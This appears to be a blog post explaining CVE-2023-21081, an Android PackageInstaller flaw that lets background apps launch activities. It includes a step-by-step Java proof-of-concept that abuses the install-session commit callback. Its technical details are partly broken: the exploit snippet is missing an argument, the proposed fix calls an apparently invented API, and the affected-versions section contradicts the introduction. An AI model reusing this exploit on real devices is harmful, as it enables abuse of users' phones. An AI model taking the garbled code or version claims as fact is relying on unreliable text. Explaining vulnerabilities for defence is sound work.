In early 2023, a critical logic error was discovered in Android’s PackageInstallerService—a core component responsible for handling app installations and updates. This vulnerability, now tracked as CVE-2023-21081, allows malicious apps to bypass restrictions meant to stop them from launching activities in the background. The result? Local escalation of privilege, no user interaction required, and an avenue for attacks that affects Android 11, 12, 12L, and 13.
In this article, we'll break down what went wrong, how the exploit works, and why this bug matters. All code samples and details are exclusive to this post and simplified for clarity.
The Big Picture: Why Background Launch Restrictions Matter
Android, since version 10, has clamped down on apps that try to launch activities (like showing a new screen) while running in the background—primarily to stop pop-up attacks and reduce distractions/spam. These restrictions are enforced by checking if the requesting app's process is foreground. If not, the system will block any attempt to show an activity.
The key player responsible for enforcing this is the PackageInstallerService. Whenever your device installs a new app or updates an existing one, this service gets involved. It uses classes like PackageInstallerSession and notifies the right parties when an install session finishes, typically by sending a broadcast or launching a pending intent.
But what if a bug lets an attacker bypass these checks?
Where Things Went Wrong
At the center of CVE-2023-21081 is a logic error—a mistake in the code that didn’t properly uphold background launch restrictions when handling certain callbacks after app install. Specifically, if an app requests install and requests to be notified after completion, there's a gap:
* The code fails to verify the source of the intent before triggering the callback, even if the caller is running in the background.
Implication: A malicious app can launch any activity at install completion, even if it’s not allowed.
Vulnerable Code: The Heart of the Flaw
Let’s look at a simplified version of the vulnerable logic inside PackageInstallerSession.java (used by PackageInstallerService):
// Decompiled snippet from PackageInstallerSession.java
private void onSessionFinishedInternal(boolean success, String message) {
if (mCallbackIntent != null) {
// OOPS: No check here for background launch restrictions!
try {
mCallbackIntent.send();
} catch (PendingIntent.CanceledException e) {
// Handle error
}
}
// ...Other post-install work
}
Normally, Android should check if the app requesting the callback is in the foreground before sending the callback PendingIntent. However, this method does not. That allows any registered PendingIntent to be executed, regardless of app state.
Proper handling should have looked like
if (AppOpsManager.isForegroundApp(callingUid)) {
mCallbackIntent.send();
} else {
// Block or defer, don't send
}
System Calls Vulnerable Logic:
- At install completion, the system blindly fires the callback PendingIntent even though the app isn’t in the foreground.
Here’s a simplified version of how an attacker could exploit the bug
// Inside a malicious app
// 1. Prepare an activity as an exploit payload
Intent intent = new Intent(context, ExploitActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
PendingIntent exploitPendingIntent = PendingIntent.getActivity(context, , intent, PendingIntent.FLAG_UPDATE_CURRENT);
// 2. Start a package install session
PackageInstaller packageInstaller = context.getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int sessionId = packageInstaller.createSession(params);
PackageInstaller.Session session = packageInstaller.openSession(sessionId);
// 3. Write APK bytes (omitted for brevity)
// 4. Commit install, pass our malicious PendingIntent as the callback
session.commit(exploitPendingIntent.getIntentSender());
// 5. Move app to background
moveTaskToBack(true);
// ... when install finishes, system will trigger exploitPendingIntent even though we're backgrounded!
Result:ExploitActivity pops up, no user interaction, even when the app isn’t active.
References & More Info
* Official Android Security Bulletin:
https://source.android.com/security/bulletin/2023-04-01
> Search for A-230492955 or CVE-2023-21081
* Google Issue Tracker:
https://issuetracker.google.com/issues/230492955 (May require login)
* Android Open Source Fix Commit:
https://android.googlesource.com/platform/frameworks/base/+/dbdbb74224cf951c44a412e12e4a1ceab67b9e3
Who Is Affected? Should You Worry?
Affected versions:
Android 13
Threat model:
Any locally installed app (no root or extra permission needed) can exploit this bug. You wouldn't see anything suspicious, but a malicious activity could pop up unexpectedly.
Mitigation:
Patch available via April 2023 (and later) Android security updates. OEMs may take time to roll out fixes—so update your phone if possible.
Conclusion
CVE-2023-21081 shows how forgetting a simple foreground check can critically undermine core Android security guarantees. Attackers love these logic bugs: no superpowers needed, just clever abuse of legitimate system APIs.
Stay updated, and developers: always verify caller state when relaying intents or granting privileged callbacks, especially in system components!
*For exclusive cybersecurity deep dives, follow this blog—where complex vulnerabilities get explained in simple language.*
Timeline
Published on: 04/19/2023 20:15:00 UTC
Last modified on: 04/27/2023 20:45:00 UTC